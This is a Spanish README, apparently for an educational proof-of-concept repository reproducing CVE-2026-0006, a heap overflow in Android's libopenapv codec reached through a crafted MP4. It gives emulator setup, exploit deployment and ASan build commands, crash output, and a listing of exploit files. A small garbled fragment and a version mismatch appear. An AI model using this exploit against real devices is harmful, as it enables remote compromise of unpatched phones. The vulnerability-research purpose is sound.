
CVE-2026-0006: PoC de desbordamiento de búfer en el montón para libopenapv (códec APV de Android) - CVSS 9.8
CVSS 9.8 Crítico | Explotado activamente en la naturaleza | Parcheado en marzo de 2026
Nota: No descubrimos esta vulnerabilidad. Todo el crédito por encontrar y reportar de forma responsable CVE-2026-0006 pertenece a los investigadores originales. Este repositorio contiene nuestro análisis independiente del parche, la reproducción y el informe educativo para ayudar a la comunidad de seguridad a comprender la clase de error y las técnicas de explotación involucradas.

CVE-2026-0006 es un desbordamiento de búfer en el montón en libopenapv, el códec APV (Advanced Professional Video) de código abierto de Samsung, integrado en Android 16 como módulo Mainline.
La vulnerabilidad permite la ejecución remota de código sin interacción del usuario mediante un archivo MP4 manipulado. El framework multimedia de Android procesa automáticamente los archivos de vídeo para generar miniaturas y vistas previas, sin necesidad de interacción del usuario.
oapvd_info() y oapvd_decode() leen las dimensiones del fotograma de PBUs diferentes (Payload Byte Units). Un atacante inyecta un PBU AU_INFO (tipo 65) que declara dimensiones pequeñas (16x16), mientras que el PBU FRAME real codifica dimensiones grandes (64x64). El framework asigna búferes basándose en la salida de oapvd_info(), y luego oapvd_decode() escribe los píxeles decodificados con las dimensiones del PBU FRAME, desbordando el búfer en 14.848 bytes.
Necesitas un emulador de Android 16 con un nivel de parche de seguridad anterior a marzo de 2026 (el decodificador APV no está presente en versiones antiguas de Android).
# Install the required system image (Android 16 / API 36, ARM64)
sdkmanager "system-images;android-36.1;google_apis;arm64-v8a"
# Create the AVD
avdmanager create avd \
-n android16_apv \
-k "system-images;android-36.1;google_apis;arm64-v8a" \
-d pixel_6
# Launch the emulator
emulator -avd android16_apv -no-snapshot-load
# Check that the APV codec module exists
adb shell ls -la /apex/com.android.media.swcodec/lib64/libcodec2_soft_apvdec.so
# Check security patch level (must be before 2026-03-01)
adb shell getprop ro.build.version.security_patch
Si el parche de seguridad es 2026-03-01 o posterior, la vulnerabilidad ya está corregida y la explotación no funcionará. Usa una imagen de sistema o una instantánea anterior.
# Requires: adb connected to Android 16 device/emulator (pre-March 2026 patch)
./deploy_exploit_mp4.sh
Esto genera el MP4 de explotación, lo envía al dispositivo, lo abre y captura la salida del fallo. El fallo puede no activarse al primer intento; el script reintenta automáticamente hasta 3 veces.
# Requires: valid.apv and apv-mp4/valid_ffmpeg.mp4 (both included)
python3 generate_overflow_mp4.py
# Requires: Android NDK r29+, libopenapv v0.1.11.3 source
NDK=$HOME/Library/Android/sdk/ndk/29.0.13599879
CC=$NDK/toolchains/llvm/prebuilt/darwin-x86_64/bin/aarch64-linux-android31-clang
ASAN_RT=$NDK/toolchains/llvm/prebuilt/darwin-x86_64/lib/clang/20/lib/linux/libclang_rt.asan-aarch64-android.so
# 1. Build libopenapv with ASan for ARM64
git clone https://github.com/AcademySoftwareFoundation/openapv.git
cd openapv && git checkout v0.1.11.1
mkdir build_arm64_asan && cd build_arm64_asan
cmake .. -DCMAKE_TOOLCHAIN_FILE=$NDK/build/cmake/android.toolchain.cmake \
-DANDROID_ABI=arm64-v8a -DANDROID_PLATFORM=android-31 \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-g -O0 -fsanitize=address -fno-omit-frame-pointer"
make -j$(nproc)
# 2. Cross-compile the MP4 ASan PoC
$CC -g -O0 -fsanitize=address -fno-omit-frame-pointer \
-I../inc -I./include \
poc_mp4_asan.c ./lib/liboapv.a -lm -o poc_mp4_asan
# 3. Push and run on device
adb push poc_mp4_asan $ASAN_RT /data/local/tmp/
adb push apv-mp4/overflow_auinfo.mp4 /data/local/tmp/
adb shell "LD_LIBRARY_PATH=/data/local/tmp \
ASAN_OPTIONS=detect_leaks=0 \
/data/local/tmp/poc_mp4_asan /data/local/tmp/overflow_auinfo.mp4"
==17610==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x006f770f0580
WRITE of size 2 at 0x006f770f0580 thread T0
0x006f770f0580 is located 0 bytes after 512-byte region
[0x006f770f0380,0x006f770f0580)
fb6a5eab): validación de ssize > 4 y comprobación de la firma 'aPv1'oapv_param.c para la validación de dimensiones y tamaño de tileEsta vulnerabilidad fue descubierta y reportada de forma responsable por los investigadores de seguridad originales. No encontramos este CVE. Todo el crédito por el descubrimiento pertenece a ellos.
Este repositorio representa el análisis del parche y la reproducción independientes de Mobile Hacking Lab, creado con fines educativos para ayudar a la comunidad de seguridad a aprender de vulnerabilidades del mundo real.
Esta investigación se realizó con fines educativos en compilaciones de prueba aisladas de la biblioteca vulnerable. Todas las pruebas se llevaron a cabo contra binarios compilados localmente del proyecto de código abierto libopenapv. No se atacó ningún dispositivo ni sistema de producción.
| Archivo | Descripción |
|---|
generate_overflow_mp4.py | Genera el MP4 de explotación con la discrepancia de dimensiones AU_INFO |
deploy_exploit_mp4.sh | Todo en uno: genera, envía al dispositivo Android, abre y captura el fallo |
poc_mp4_asan.c | PoC ASan que imita la ruta de decodificación de C2SoftApvDec |
poc_android_oob_write.c | PoC ARM64 independiente con detección de desbordamiento en región protegida |
valid.apv | Flujo de bits APV válido de 337 bytes (64x64, YUV422, 10 bits) |
apv-mp4/valid_ffmpeg.mp4 | Contenedor MP4 de referencia (generado con ffmpeg) |
apv-mp4/overflow_auinfo.mp4 | MP4 de explotación precompilado (1.178 bytes) |